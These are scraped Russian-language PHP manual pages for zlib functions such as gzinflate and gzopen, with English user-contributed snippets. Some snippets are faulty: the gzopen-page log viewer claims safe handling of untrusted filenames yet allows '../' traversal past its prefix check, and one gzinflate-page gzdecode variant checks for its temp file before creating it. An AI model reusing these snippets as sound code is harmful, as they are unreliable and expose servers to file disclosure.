echo $gzipoutput;

?>
Sam Dowling 06-Jul-2011 07:30
this is a benchmark test of gzencode (.txt file)
----------------------------------------------
original file size = 3.29 MB (3,459,978 bytes)
compress lvl 1 = 1.09 MB (1,144,006 bytes)
compress lvl 2 = 1.06 MB (1,119,518 bytes)
compress lvl 3 = 1.03 MB (1,085,567 bytes)
compress lvl 4 = 953 KB (976,538 bytes)
compress lvl 5 = 909 KB (931,486 bytes)
compress lvl 6 = 910 KB (932,516 bytes)
compress lvl 7 = 910 KB (932,608 bytes)
compress lvl 8 = 910 KB (932,646 bytes)
compress lvl 9 = 910 KB (932,652 bytes)
----------------------------------------------
getmequick at dot com 23-Jan-2009 12:29
NOTE:

doing like this and so on

<?php
  file_put_contents('output.gz', gzencode( file_get_contents('input.file'),9));
?>

(complete file reading)

may cause memory overflow (Fatal error: Allowed memory size of ..), so it's better to read by parts/bytes.
katzlbtjunk at hotmail dot com 30-Apr-2008 01:58
Aaron G. 07-Aug-2004 03:29 posted the excellent function gzdecode() (SEE BELOW)
BUGFIX: Change: if($flags & 1) to ... if($flags & 2)

Unfortunately the function gzencode() does NOT append a CRC! So the previous version worked with output of gzencode but not with output of the gzip program itself.
gazj at nukemodified dot com 14-Apr-2008 05:47
here is my clean up of supaplex %at% pcbkits %d0t% c0m
submission above.

function alt_gzdecode($gzdatadecode) {
  // seed with microseconds since last "whole" second.
  mt_srand((float)microtime()*1000000);
  $eh="/tmp/php-" . md5(mt_rand(0,mt_getrandmax())) . ".gz";
  if(file_exists($eh)){

  $gzf=fopen($eh,"w");
  fwrite($gzf,$gzdatadecode);
  fclose($gzf);

  $gzf = gzopen ($eh, "r");
  $gzdatadecode=gzpassthru($gzf);
  unlink($eh);

  return $gzdatadecode;
  }else{
  return 'File '.$eh.' was not found.';
  }
}
cbrunon at free dot fr 03-Aug-2006 06:52
Correct is:
<?php
  file_put_contents('output.gz', gzencode( file_get_contents('input.file'),9));
?>
tychay at alumni dot caltech dot edu 03-Apr-2002 02:53
The 10 byte string in gzencode is the standard gzip header. The first two bytes (1f 8b) define the return as a gzip file, the third byte (08) means that the body is compressed using the "deflate" algorithm. The rest is padding (00)'s.

Technically, I believe one should check if the third byte is hex 08 and if so strip off the first ten bytes and last four bytes and run inflate on it. The last four bytes are file size and checksum bits.

In practice, you can get away with just stripping the first 10 bytes and running inflate on it.

Hope this helps,

terry
henryk at ploetzli dot ch 14-Feb-2002 06:28
Well, I was looking for a gzdecode too and didn't consider the temporary file example above to be very elegant.
However, as is noted in the very first comment: gzencode() only adds a  10 byte header.

I don't quite know what this header is supposed to be used for, but gzinflate() certainly doesn't like it, so I stripped it off:

function my_gzdecode($string) {
  $string = substr($string, 10);
  return gzinflate($string);
 }

That's useful to read HTTP-Connections that were compressed by mod_gzip.
--
Henryk Pl?tz
Gr??e aus Berlin
mm.. oops? - amendum (yes, tested hehe.) 09-Sep-2001 12:14
function alt_gzdecode($str) {
  // seed with microseconds since last "whole" second
  mt_srand((float)microtime()*1000000);
  $eh="/tmp/php-" . md5(mt_rand(0,mt_getrandmax())) . ".gz";

  $fd=fopen($eh,"w");
  fwrite($fd,$str);
  fclose($fd);

  unset($str);

  $fd = gzopen ($eh, "r");
  while (1==1) {
    $s=gzread($fd,10240);
    if ("$s" == "") {
      break;
    }
    $str=$str . $s;
  }
  unlink($eh);

  return $str;
}
< supaplex %at% pcbkits %d0t% c0m > 08-Sep-2001 11:48
I was almost discouraged when I didn't find a gzdecode() function!  However, fear not, for I'll contribute my work... :)
function alt_gzdecode($str) {
  // seed with microseconds since last "whole" second.
  mt_srand((float)microtime()*1000000);
  $eh="/tmp/php-" . md5(mt_rand(0,mt_getrandmax())) . ".gz";

  $fd=fopen($eh,"w");
  fwrite($fd,$str);
  fclose($fd);

  $fd = gzopen ($eh, "r");
  $str=gzpassthru($fd);
  unlink($eh);

  return $str;
}

It's only ugly point is that it does not check to see if the file already exists.  You may also have to adjust reference names like $str and $fd if they stomp on your code. (Sorry, but this is all you get atm! ;} )  If your conserned about a race condition, cry for a internal gzdecode() function that actualy functions...
I spent about 3 hours straight debugging this problem.  I know the input data was valid, becuase I validated it with MD5() to compare to the md5's I had made of the input data before hand.  I'm not sure whats up with gzuncompress or gzinflate, but this works in its place . . .

Enjoy!


Проверяет, находится ли текущая позиция в конце (EOF) gz-файла

  • « gzencode
  • gzfile »
  • PHP Manual
  • Функции Zlib
  • Проверяет, находится ли текущая позиция в конце (EOF) gz-файла

gzeof

(PHP 4, PHP 5, PHP 7, PHP 8)

gzeof — Проверяет, находится ли текущая позиция в конце (EOF) gz-файла

Описание

gzeof(resource $stream): bool

Проверяет, соответствует ли позиция указателя в GZ-файле позиции EOF (end-of-file, конец файла).

Список параметров

stream

Указатель на gz-файл. Он должен быть корректный и должен указывать на файл, успешно открытый gzopen().

Возвращаемые значения

Возвращает true, если позиция указателя gz-файла соответствует EOF или возникает ошибка; иначе возвращает false.

Примеры

Пример #1 Пример использования gzeof()

<?php
$gz = gzopen('somefile.gz', 'r');
while (!gzeof($gz)) {
echo gzgetc($gz);
}
gzclose($gz);
?>

User Contributed Notes

Anonymous 11-Nov-2013 11:37
<?php
#fixed example
$gz = gzopen('somefile.gz', 'r');
while ($gz && !gzeof($gz)) {
  echo gzgetc($gz);
}
gzclose($gz);
?>
thomas at poindessous dot com 21-Jun-2007 01:44
Be careful with this example. if gzopen doesn't return a valid handler, gzeof will do a nice loop.


Считывает весь gz-файл в массив

  • « gzeof
  • gzgetc »
  • PHP Manual
  • Функции Zlib
  • Считывает весь gz-файл в массив

gzfile

(PHP 4, PHP 5, PHP 7, PHP 8)

gzfile — Считывает весь gz-файл в массив

Описание

gzfile(string $filename, int $use_include_path = 0): array|false

Аналогична readgzfile(), за исключением того, что она возвращает файл в массиве.

Список параметров

filename

Имя файла.

use_include_path

Если вы хотите, чтобы также проверялось наличие файла в директориях include_path, установите значение этого параметра в 1.

Возвращаемые значения

Массив строк файла, в каждом элементе массива находится одна строка, пустые строки включаются, а переносы строк по-прежнему добавляются или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования gzfile()

<?php
$lines = gzfile('somefile.gz');
foreach ($lines as $line) {
echo $line;
}
?>

Смотрите также

  • readgzfile() - Выводит содержимое gz-файла
  • gzopen() - Открыть gz-файл

User Contributed Notes

jani at php dot net 21-Nov-2008 10:11
This function is not binary safe. (intentionally, or not, that's the question :)
nb_nonospamm_ at wtal dot de 27-Nov-2005 04:12
In PHP4.4.1 I noticed that gzfile only reads up to 8190 bytes per line. I had a 20K SQL query that was cut into 3 parts - and wondered why the SQL server complained.

Reading an uncompressed file with the file() command works as expected.
The Jedi 28-Jun-2005 06:44
A quicker way to load a gziped file in a string :
<?php
function gzfile_get_contents($filename, $use_include_path = 0)
{
    //File does not exist
    if( !@file_exists($filename) )
    {    return false;    }

    //Read and imploding the array to produce a one line string
   $data = gzfile($filename, $use_include_path);
   $data = implode($data);
   return $data;
}
?>
webmaster at ragnarokonline dot de 13-Jan-2004 11:58
This works similar to gzfile() but it returns the file in a string instead of an array and doesn't write it to stdout compared to readgzfile.

Note: unlike the usual file-functions filesize won't work here, since the length-parameter of gzread refers to the uncompressed length, while filesize returns the size of the compressed file.

<?php
function gzfile_get_contents($filename, $use_include_path = 0) {
    $file = @gzopen($filename, 'rb', $use_include_path);
    if ($file) {
        $data = '';
        while (!gzeof($file)) {
            $data .= gzread($file, 1024);
        }
        gzclose($file);
    }
    return $data;
}
?>


Получить символ из указателя на gz-файл

  • « gzfile
  • gzgets »
  • PHP Manual
  • Функции Zlib
  • Получить символ из указателя на gz-файл

gzgetc

(PHP 4, PHP 5, PHP 7, PHP 8)

gzgetc — Получить символ из указателя на gz-файл

Описание

gzgetc(resource $stream): string|false

Возвращает строку, содержащую один символ (несжатый), считанный из заданного указателя gz-файла.

Список параметров

stream

Указатель на gz-файл. Он должен быть корректный и должен указывать на файл, успешно открытый gzopen().

Возвращаемые значения

Символ (несжатый) или false в случае EOF (в отличие от gzeof()).

Примеры

Пример #1 Пример использования gzgetc()

<?php
$gz = gzopen('somefile.gz', 'r');
while (!gzeof($gz)) {
echo gzgetc($gz);
}
gzclose($gz);
?>

Смотрите также

  • gzopen() - Открыть gz-файл
  • gzgets() - Получить строку из указателя файла

User Contributed Notes

There are no user contributed notes for this page.


Получить строку из указателя файла

  • « gzgetc
  • gzgetss »
  • PHP Manual
  • Функции Zlib
  • Получить строку из указателя файла

gzgets

(PHP 4, PHP 5, PHP 7, PHP 8)

gzgets — Получить строку из указателя файла

Описание

gzgets(resource $stream, ?int $length = null): string|false

Получает строку (несжатую) из gz-файла, её длина ограничивается length - 1 байтами. Чтение заканчивается при достижении максимальной длины, конца строки или конца файла (EOF), в зависимости от того, что наступит раньше.

Список параметров

stream

Указатель на gz-файл. Он должен быть корректный и должен указывать на файл, успешно открытый gzopen().

length

Максимальный размер возвращаемых данных.

Возвращаемые значения

Распакованная строка или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | length теперь допускает значение null; ранее значение по умолчанию было 1024.

Примеры

Пример #1 Пример использования gzgets()

<?php
$handle = gzopen('somefile.gz', 'r');
while (!gzeof($handle)) {
$buffer = gzgets($handle, 4096);
echo $buffer;
}
gzclose($handle);
?>

Смотрите также

  • gzopen() - Открыть gz-файл
  • gzgetc() - Получить символ из указателя на gz-файл
  • gzwrite() - Бинарная запись в gz-файл

User Contributed Notes

divinity76 at gmail dot com 30-Aug-2019 10:49
PS when it encounters and breaks on a newline byte ("\n"), the newline byte itself is not included in the returned string.
04-Aug-2005 11:21
For the above example by VIJAY, using gzgetc would be better, as I've encountered binary/text file incompatibilities (at least with PHP 4.0.4).
prismngp1 at yahoo dot com 10-Aug-2002 05:19
<?
// this is simple code by VIJAY to unzip .gz file
$file = "/absolute/path/to/your/file" ;
$fp = fopen("$file", "w") ;
// file to be unzipped on your server
$filename = "filename.gz" ;
$zp = gzopen($filename, "r");

if ($zp)
{
  while (!gzeof($zp))
  {
    $buff1 = gzgets ($zp, 4096) ;
    fputs($fp, $buff1) ;
  }
}
gzclose($zp) ;
fclose($fp) ;
?>


Возвращает строку из указателя gz-файла и удалить HTML-теги

  • « gzgets
  • gzinflate »
  • PHP Manual
  • Функции Zlib
  • Возвращает строку из указателя gz-файла и удалить HTML-теги

gzgetss

(PHP 4, PHP 5, PHP 7)

gzgetss — Возвращает строку из указателя gz-файла и удалить HTML-теги

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.3.0 и была УДАЛЕНА в версии PHP 8.0.0. Использовать эту функцию крайне не рекомендуется.

Описание

gzgetss(resource $zp, int $length, string $allowable_tags = ?): string

Аналогично gzgets(), за исключением того, что gzgetss() пытается удалить любые теги HTML и PHP из считываемой строки.

Список параметров

zp

Указатель на gz-файл. Он должен быть корректный и должен указывать на файл, успешно открытый gzopen().

length

Максимальный размер возвращаемых данных.

allowable_tags

Используйте этот необязательный параметр, чтобы указать теги, которые не следует удалять.

Возвращаемые значения

Несжатая очищенная строка или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования gzgetss()

<?php
$handle = gzopen('somefile.gz', 'r');
while (!gzeof($handle)) {
$buffer = gzgetss($handle, 4096);
echo $buffer;
}
gzclose($handle);
?>

Смотрите также

  • gzopen() - Открыть gz-файл
  • gzgets() - Получить строку из указателя файла
  • strip_tags() - Удаляет теги HTML и PHP из строки

User Contributed Notes

There are no user contributed notes for this page.


Распаковать сжатую строку

  • « gzgetss
  • gzopen »
  • PHP Manual
  • Функции Zlib
  • Распаковать сжатую строку

gzinflate

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gzinflate — Распаковать сжатую строку

Описание

gzinflate(string $data, int $max_length = 0): string|false

Распаковывает сжатую строку.

Список параметров

data

Данные, сжатые функцией gzdeflate().

max_length

Максимальный размер декодируемых данных.

Возвращаемые значения

Распакованные данные или false в случае возникновения ошибки.

Функция вернёт ошибку, если несжатые данные в 32768 раз больше размера сжатых данных data или, если max_length не 0 и больше, чем необязательный параметр max_length.

Примеры

Пример #1 Пример использования gzinflate()

<?php
$compressed = gzdeflate('Сожми меня', 9);
$uncompressed = gzinflate($compressed);
echo $uncompressed;
?>

Смотрите также

  • gzdeflate() - Сжимает строку
  • gzcompress() - Сжать строку
  • gzuncompress() - Распаковать сжатую строку
  • gzencode() - Создать сжатую строку gzip

User Contributed Notes

anonymous at dekho-ji dot com 16-May-2013 11:34
To decode / uncompress the received HTTP POST data in PHP code, request data coming from Java / Android application via HTTP POST GZIP / DEFLATE compressed format

1) Data sent from Java Android app to PHP using DeflaterOutputStream java class and received in PHP as shown below
echo gzinflate( substr($HTTP_RAW_POST_DATA,2,-4) ) . PHP_EOL  . PHP_EOL;

2) Data sent from Java Android app to PHP using GZIPOutputStream java class and received in PHP code as shown below
echo gzinflate( substr($HTTP_RAW_POST_DATA,10,-8) ) . PHP_EOL  . PHP_EOL;

From Java Android side (API level 10+), data being sent in DEFLATE compressed format
        String body = "Lorem ipsum shizzle ma nizle";
        URL url = new URL("http://www.url.com/postthisdata.php");
        URLConnection conn = url.openConnection();
        conn.setDoOutput(true);
        conn.setRequestProperty("Content-encoding", "deflate");
        conn.setRequestProperty("Content-type", "application/octet-stream");
        DeflaterOutputStream dos = new DeflaterOutputStream(
                conn.getOutputStream());
        dos.write(body.getBytes());
        dos.flush();
        dos.close();
        BufferedReader in = new BufferedReader(new InputStreamReader(
                conn.getInputStream()));
        String decodedString = "";
        while ((decodedString = in.readLine()) != null) {
            Log.e("dump",decodedString);
        }
        in.close();

On PHP side (v 5.3.1), code for decompressing this DEFLATE data will be
    echo substr($HTTP_RAW_POST_DATA,2,-4);

From Java Android side (API level 10+), data being sent in GZIP compressed format

        String body1 = "Lorem ipsum shizzle ma nizle";
        URL url1 = new URL("http://www.url.com/postthisdata.php");
        URLConnection conn1 = url1.openConnection();
        conn1.setDoOutput(true);
        conn1.setRequestProperty("Content-encoding", "gzip");
        conn1.setRequestProperty("Content-type", "application/octet-stream");
        GZIPOutputStream dos1 = new GZIPOutputStream(conn1.getOutputStream());
        dos1.write(body1.getBytes());
        dos1.flush();
        dos1.close();
        BufferedReader in1 = new BufferedReader(new InputStreamReader(
                conn1.getInputStream()));
        String decodedString1 = "";
        while ((decodedString1 = in1.readLine()) != null) {
            Log.e("dump",decodedString1);
        }
        in1.close();

On PHP side (v 5.3.1), code for decompressing this GZIP data will be
    echo substr($HTTP_RAW_POST_DATA,10,-8);

Useful PHP code for printing out compressed data using all available formats.

$data = "Lorem ipsum shizzle ma nizle";
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzcompress($data,$i))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzdeflate($data,$i))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzencode($data,$i,FORCE_GZIP))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzencode($data,$i,FORCE_DEFLATE))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";

Hope this helps. Please ThumbsUp if this saved you a lot of effort and time.
felix dot klee at inka dot de 27-Feb-2013 10:38
The code below illustrates usage of the second parameter, in particular to protect against fatal out-of-memory errors. It outputs:

1000000
1000000
error

Tested with PHP 5.3 on 32bit Linux.

<?php

function tryToGzinflate($deflatedData, $maxLen = 0) {
  $data = gzinflate($deflatedData, $maxLen);
  if ($data === false)
    echo 'error<br>';
  else
    echo strlen($data).'<br>';
}

// random data:
$data = '';
for ($i = 0; $i < 1000000; $i++)
  $data .= chr(mt_rand(97, 122)); // a-z

$deflatedData = gzdeflate($data);

ini_set('memory_limit', '5M'); // plenty of memory
tryToGzinflate($deflatedData);
tryToGzinflate($deflatedData, strlen($data));

ini_set('memory_limit', '100'); // little memory
tryToGzinflate($deflatedData, 100);
tryToGzinflate($deflatedData); // causes fatal out-of-memory error
?>
akniep at rayo dot info 11-Dec-2012 03:11
Take care when using the optional second parameter $length!
In our tests -at least in certain situations- we were unable to determine the actual use of this parameter, plus, it lead to the script either being unable to inflate compressed data or crash due to memory-problems.

Example:
When trying to inflate the compressed data from a website, we were literally unable to find a value (other than 0) for $length in order to make gzinflate work... while without the second parameter (or setting it to 0) gzinflate worked like a charm:

<?php
// -----------------------------------------------------------------------
// Test 1 works without problems. Memory peak usage: Before inflating: 24.787 kB; after: 24.844 kB.
gzinflate( substr($deflated_body, 10) );

// -----------------------------------------------------------------------
// ALL three of the following tests failed with a warning. Memory peak usage: Before inflating: 24.787 kB; after: 298.262 kB.
gzinflate( substr($deflated_body, 10),       200 * strlen($deflated_body) );
gzinflate( substr($deflated_body, 10),     32768 * strlen($deflated_body) );
gzinflate( substr($deflated_body, 10),     11000 );
gzinflate( substr($deflated_body, 10), 280000000 );    // the PHP memory limit was set to 300MB  (memory_limit=300M)
=>
Warning:  gzinflate() [function.gzinflate]: insufficient memory in [...]

// -----------------------------------------------------------------------
// The last test failed with a fatal error. Memory peak usage: Before inflating: 24.787 kB; after: ? (> 300M).
gzinflate( substr($deflated_body, 10), 300000000 );    // the PHP memory limit was set to 300MB  (memory_limit=300M)
=>
Fatal error:  Allowed memory size of 314572800 bytes exhausted (tried to allocate 300000000 bytes) in
?>

In short: We were unable to determine the actual use of the second parameter in certain situations.
Be careful with using the second parameter $length!
niblett at gmail dot com 07-Jun-2012 02:08
alternative, with detection for optional filename header
<?php
function gzdecode($data) {

        // check if filename field is set in FLG, is 4th byte
        $hex = bin2hex($data);

        $flg = (int)hexdec(substr($hex, 6, 2));

        // remove headers
        $hex = substr($hex, 20);

        $ret = '';
        if (  ($flg & 0x8) == 8 ){
                print "ello";
                for ( $i = 0; $i < strlen($hex); $i += 2 ){
                        $value = substr($hex, $i, 2);
                        if ( $value == '00' ){
                                $ret = substr($hex, ($i+2));
                                break;
                        }
                }
        }
        return gzinflate(pack('H*', $ret));
}
?>
Steven Lustig 05-Nov-2010 09:44
You can use this to uncompress a string from Linux command line gzip by stripping the first 10 bytes:

<?php
$inflatedOutput = gzinflate(substr($output, 10, -8));
?>
vitall at ua dot fm 09-Sep-2009 05:10
The correct function for gzip and chunked data particularly when you get "Content-Encoding: gzip" and "Transfer-Encoding: chunked" headers:

<?php
function decode_gzip($h,$d,$rn="\r\n"){
if (isset($h['Transfer-Encoding'])){
 $lrn = strlen($rn);
 $str = '';
 $ofs=0;
 do{
    $p = strpos($d,$rn,$ofs);
    $len = hexdec(substr($d,$ofs,$p-$ofs));
    $str .= substr($d,$p+$lrn,$len);
     $ofs = $p+$lrn*2+$len;
 }while ($d[$ofs]!=='0');
 $d=$str;
}
if (isset($h['Content-Encoding'])) $d = gzinflate(substr($d,10));
return $d;
}
?>

Enjoy!
John 12-Jun-2008 10:22
And when retrieving mod_deflate gzip'ed content and using gzinflate() to decode the data, be sure to strip the first 11 chars from the retrieved content.

<?php $dec = gzinflate(substr($enc,11)); ?>
patatraboum at free dot fr 24-Aug-2007 10:57
Some gz string strip header and return inflated
It actualy processes some first member of the gz
See rfc1952 at http://www.faqs.org/rfcs/rfc1952.html for more details and improvment as gzdecode

<?php
function gzBody($gzData){
    if(substr($gzData,0,3)=="\x1f\x8b\x08"){
        $i=10;
        $flg=ord(substr($gzData,3,1));
        if($flg>0){
            if($flg&4){
                list($xlen)=unpack('v',substr($gzData,$i,2));
                $i=$i+2+$xlen;
            }
            if($flg&8) $i=strpos($gzData,"\0",$i)+1;
            if($flg&16) $i=strpos($gzData,"\0",$i)+1;
            if($flg&2) $i=$i+2;
        }
        return gzinflate(substr($gzData,$i,-8));
    }
    else return false;
}
?>
spikeles_ at hotmail dot com 01-Nov-2006 08:12
This can be used to inflate streams compressed by the Java class java.util.zip.Deflater but you must strip the first 2 bytes off it. ( much like the above comment )

<?php $result = gzinflate(substr($compressedData, 2)); ?>
boris at gamate dot com 08-Jul-2003 05:49
When retrieving mod_gzip'ed content and using gzinflate() to decode the data, be sure to strip the first 10 chars from the retrieved content.

<?php $dec = gzinflate(substr($enc,10)); ?>


Открыть gz-файл

  • « gzinflate
  • gzpassthru »
  • PHP Manual
  • Функции Zlib
  • Открыть gz-файл

gzopen

(PHP 4, PHP 5, PHP 7, PHP 8)

gzopen — Открыть gz-файл

Описание

gzopen(string $filename, string $mode, int $use_include_path = 0): resource|false

Открывает файл gzip (.gz) для чтения или записи.

gzopen() также можно использовать для чтения несжатых файлов (то есть не в формате gzip). В этом случае gzread() будет непосредственно читать файл без какой-либо обработки.

Список параметров

filename

Имя файла.

mode

Как в fopen() (rb или wb), но также может включать уровень сжатия (wb9) или стратегию: f для фильтрации данных как в wb6f, h для сжатия только по алгоритму Хаффмана, как в wb1h (Для более детальной информации о параметре стратегии смотрите описание deflateInit2 в zlib.h).

use_include_path

Если вы хотите, чтобы поиск файла выполнялся также в директориях include_path, установите значение этого аргумента в 1.

Возвращаемые значения

Возвращает указатель на открытый файл, после чего всё, что вы читаете из этого дескриптора, будет автоматически распаковываться, а всё, что вы записываете - упаковываться.

В случае возникновения ошибки функция возвращает false.

Примеры

Пример #1 Пример использования gzopen()

<?php
$fp = gzopen("/tmp/file.gz", "r");
?>

Смотрите также

  • gzclose() - Закрыть указатель открытого gz-файла

User Contributed Notes

chasjfish at gmail dot com 07-Mar-2019 06:58
There is an active feature request for an xzopen function. The xz program uses the LZMA algorithm for much higher compression ratios than gzip.

Until such time that xzopen might be available, here is my best design for safely reading .xz files which originate remotely and are not trusted.

Below is a CSV log viewer - there is a lot going on here, so I will explain it below:

<?

$PRG_NAME = basename($_SERVER['PHP_SELF'], '.php');
$PRG_LEN = strlen($PRG_NAME);

if(substr($z = $_GET['CSV'], 0, $PRG_LEN) == $PRG_NAME)
{
 header('content-type:application/csv;CHARSET=Windows-1251');
 header('Content-Disposition:attachment;filename="' .
   $_GET['CSV'] . '.csv"');

 if('.xz' == substr($z, -3))
 {
        $tmpfname = tempnam("/tmp", "php-log-viewer");
        $fpx = fopen($tmpfname, 'w');
        fprintf($fpx, "/var/app/log/%s\0", $z);
        fclose($fpx);

        $fp = popen("xz -cd --files0=" . $tmpfname, 'r');
 }
 else   $fp = fopen('/var/app/log/' . $z, 'r');

 while($line = fgets($fp))
  echo '"' . preg_replace('/[~]/', '","', rtrim($line)) . "\"\n";

 fclose($fp); if(is_file($tmpfname)) unlink($tmpfname); exit;
}

?>

The logs are tilde-delimited files (~) in the /var/app/log directory which the code above converts to CSV and injects into Excel. They are regularly compressed by cron, but the latest logs will be uncompressed text files. A separate section of my code (not included here) presents them via opendir()/readdir()/stat().

The file prefix that the viewer will allow the user to see is determined by the name of the script - if I name it FTP-LOG.php, then any file beginning with /var/app/log/FTP-LOG can be read. I am enabling the viewer for different prefixes by making hard links to the script.

Since the log might not (yet) be compressed, I check the extension - if .xz is detected, then the gymnastics begin.

It is not safe to pass form content from remote users to a UNIX shell, and I am trying to avoid this. Fortunately, xz has the --files and --files0 options, and I create a temporary filename, record the file of interest in it, then open an xz process for reading (otherwise, a simple fopen() will suffice). Recording a \0 allows safer processing of files with embedded newlines (which is allowed by POSIX), and is immediately familiar to fans of "find -print0" and "xargs -0".

Unfortunately, neither bzip2 nor lzip have have a --files[0] option. It is quite useful in this case, and appears to improve security.
dj8 at joesvolcano dot net 11-Sep-2015 02:17
An OO-version of David Gero's excellent GZ File format note also on this page:

<?php

// David Gero's example: read a file and output GZ
$gz_to_out = new GZTempFile(basename($file), "php://output");
$fin = fopen($file, "rb");
while($data = fread($fin, 64 * 1024)) {
    $gz_to_out->fwrite();
}
close($fin);
$gz_to_out->flushBuffer();

// Example of building your GZ file content on the fly (temp filehandle)
$gz_custom = new GZTempFile();
foreach ( ... ) {
    //  Some work
    $str = ...

    $gz_custom->fwrite($str);
}
//  Store it in a database
$m = new MongoClient();
$gridfs = $m->selectDB('test')->getGridFS();
$id = $gridfs->storeFile($gz_custom->getReadFilehandle(), array('contentType' => 'application/x-gzip'));

class GZTempFile {
    private $__fh = null;
    public $uncompressed_bytes = 0;
    public $filesize = null;
    private $gz_filter = null;
    private $file_hash = null;
    private $final_read_fh = false;
    private $__buffer = '';
    private $__buffer_len = 0;

    public function __construct($filename = 'data', $fh = null) {
        $this->__fh = is_null($fh) ? fopen('php://temp','w+') : $fh;
        fwrite($this->__fh, "\x1F\x8B\x08\x08".pack("V", time())."\0\xFF", 10); // GZ file header
        fwrite($this->__fh, str_replace("\0", "", basename($filename)) ."\0");  // GZ filename = data, needed???
        $this->gz_filter = stream_filter_append($this->__fh, "zlib.deflate", STREAM_FILTER_WRITE, -1);
        $this->uncompressed_bytes = 0;
        $this->file_hash = hash_init("crc32b");
    }

    public function fwrite($str,$length = null) {
        if ( $this->final_read_fh ) { throw new Exception("GZTempFile has already been finalized and closed.  No more writing"); }
        hash_update($this->file_hash, $str);
        $this->uncompressed_bytes += strlen($str);
        $this->__buffer_len += strlen($str);
        $this->__buffer .= $str;
        if ( $this->__buffer_len >= 64 * 1024 ) { $this->flushBuffer(); }
    }
    public function flushBuffer() {
        if ( $this->__buffer_len == 0 ) { return false; }
        $return = fwrite($this->__fh, $this->__buffer);
        $this->__buffer_len = 0;
        $this->__buffer = '';
        return $return;
    }

    public function getReadFilehandle() {
        if ( ! $this->final_read_fh ) {
            $this->flushBuffer();
            stream_filter_remove($this->gz_filter);
            $crc = hash_final($this->file_hash, TRUE);            // hash_final is a string, not an integer
            fwrite($this->__fh, $crc[3].$crc[2].$crc[1].$crc[0]); // need to reverse the hash_final string so it's little endian
            fwrite($this->__fh, pack("V", $this->uncompressed_bytes), 4);

            $this->filesize = ftell($this->__fh);
            rewind($this->__fh);
            $this->final_read_fh = $this->__fh;
        }
        return $this->final_read_fh;
    }
}
David Gero dave at havidave dot com 06-Sep-2011 02:02
gzopen("php://output","wb") doesn't work on a web server, nor does fopen("compress.zlib://php://output","wb").

Here is a snippet to gzip a file and output it on the fly, without using a temporary file, without reading the file into memory, and without reading the file more than once:

<?php
$fin = fopen($file, "rb");
if ($fin !== FALSE) {
    $fout = fopen("php://output", "wb");
    if ($fout !== FALSE) {
    // write gzip header
    fwrite($fout, "\x1F\x8B\x08\x08".pack("V", filemtime($file))."\0\xFF", 10);
    // write the original file name
    $oname = str_replace("\0", "", basename($file));
    fwrite($fout, $oname."\0", 1+strlen($oname));
    // add the deflate filter using default compression level
    $fltr = stream_filter_append($fout, "zlib.deflate", STREAM_FILTER_WRITE, -1);
    // set up the CRC32 hashing context
    $hctx = hash_init("crc32b");
    // turn off the time limit
    if (!ini_get("safe_mode")) set_time_limit(0);
    $con = TRUE;
    $fsize = 0;
    while (($con !== FALSE) && !feof($fin)) {
        // deflate works best with buffers >32K
        $con = fread($fin, 64 * 1024);
        if ($con !== FALSE) {
        hash_update($hctx, $con);
        $clen = strlen($con);
        $fsize += $clen;
        fwrite($fout, $con, $clen);
        }
    }
    // remove the deflate filter
    stream_filter_remove($fltr);
    // write the CRC32 value
    // hash_final is a string, not an integer
    $crc = hash_final($hctx, TRUE);
    // need to reverse the hash_final string so it's little endian
    fwrite($fout, $crc[3].$crc[2].$crc[1].$crc[0], 4);
    // write the original uncompressed file size
    fwrite($fout, pack("V", $fsize), 4);
    fclose($fout);
    }
    fclose($fin);
}
?>
plasma 05-Sep-2008 08:06
This worked unstable for me under high load (50+ files per second):

<?php
    $gz = gzopen ( $file, 'w9' );
    gzwrite ( $gz, $content );
    gzclose ( $gz );
?>

The following works fine:

<?php
    $f = fopen ( $file, 'w' );
    fwrite ( $f, gzcompress ( $content, 9 ) );
    fclose ( $f );
?>
katzlbtjunk at hotmail dot com 23-Apr-2008 12:15
WARNING gzopen and gzread have a major disadvantage. They makes NO checksum and NO length verification of the gzipped data and discard this valuable information. This should be documented here.
rob at digital-crocus dot com 01-Jun-2005 05:28
dtorop932 at hotmail dot com's comments, according to my tests, is incorrect. That code wishes to download the entire file before parsing, which is inconvinient. The wget method works though.
pentek_imre at mailbox dot hu 29-Jan-2005 10:36
Be aware that when opening a remote file on a http server the gzopen will return by default false after 120 seconds waiting to any answer.
dtorop932 at hotmail dot com 21-Oct-2004 12:04
RE dubious's comment: "Being able to read gzip streams from ftp and http is near the top of my personal wishlist at the moment..."

One way to read a gzip stream over http is to daisychain stream wrappers, e.g.:

<?
$fp = fopen("compress.zlib://http://some.website.org/example.gz", "r");
?>
-delete-this-part-dubious at 2xtreme dot net 02-Jan-2002 07:22
"On the fly" gunzipping actually DOES seem to work - it just appears that only LOCAL streams/files (including php://stdin) can be accessed for some reason.  I THINK (but have not yet tested) that you could similarly gzopen "php://stdout" and pass a stream of gzipped data to the browser (when run from a web page) or console (when run standalone) through there.

I HAVE tested scripts from the command line like:

wget -q -O- ftp://some.host.net/pub/some_gzip_file.gz | php gunzip_stuff.php

where gunzip_stuff.php would be a script that gzopened "php://stdin" and did gzgets from that stream, and it seems to work fine, but that obviously doesn't help someone wanting to grab gzipped streams from remote sites from a web-based script.

Being able to read gzip streams from ftp and http is near the top of my personal wishlist at the moment...


Вывод всех оставшихся данных из указателя gz-файла.

  • « gzopen
  • gzputs »
  • PHP Manual
  • Функции Zlib
  • Вывод всех оставшихся данных из указателя gz-файла.

gzpassthru

(PHP 4, PHP 5, PHP 7, PHP 8)

gzpassthru — Вывод всех оставшихся данных из указателя gz-файла.

Описание

gzpassthru(resource $stream): int

Читает до конца файла (EOF) данные из указателя gz-файла, начиная с текущей позиции, и записывает результат (без сжатия) в стандартный вывод.

Замечание:

